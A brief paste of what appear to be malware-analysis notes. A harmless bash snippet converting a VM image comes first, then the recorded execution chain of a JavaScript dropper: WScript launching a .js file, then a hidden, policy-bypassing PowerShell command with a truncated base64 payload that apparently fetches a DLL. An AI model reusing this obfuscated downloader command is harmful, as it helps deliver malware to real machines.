petergs

#!/bin/bash
tar xvf example.ova
qemu-img convert -O qcow2 example.vmdk example.qcow2

petergs

Execution

wscript -> powershell -> .dll
"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\Uwgulbom.js" 
"C:\Windows\System32\wscript.exe" "C:\Users\admin\Desktop\Uwgulbom.js" seroplasticGodchild bankweedPolycratic unmiserly becassockedUndividedness 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABjAGEAbAB1AG0AbgBpAGEAdABlAGQARgBvAG8AbABoAGEAcgBkAGkAZQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBkAEEAQgBvAEEARwA4AEEAYwBnAEIAdQBBAEMANABBAGIAZwBCAGgAQQBHAGMAQQBiAHcAQgA1AEEARwBFAEEAegBUAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBQAEEASABVAEEAZABBAEIAbQBBAEcAawBBAFoAUQBCAHMAQQBHAFEAQQBaAFEAQgB5AEEASABNAEEATABnAEIAeQBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBiAEEAQgB6AEEAQQA9AD0AegBUAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwA4AEEAYgBBAEIANQBBAEcATQBBAGEAQQBCAGgAQQBHAFUAQQBkAEEAQgB2AEEASABVAEEAYwB3AEEAdQBBAEgAYwBBAGIAdwBCAHkAQQBHAHcAQQBaAEEAQQA9ACIAOwAk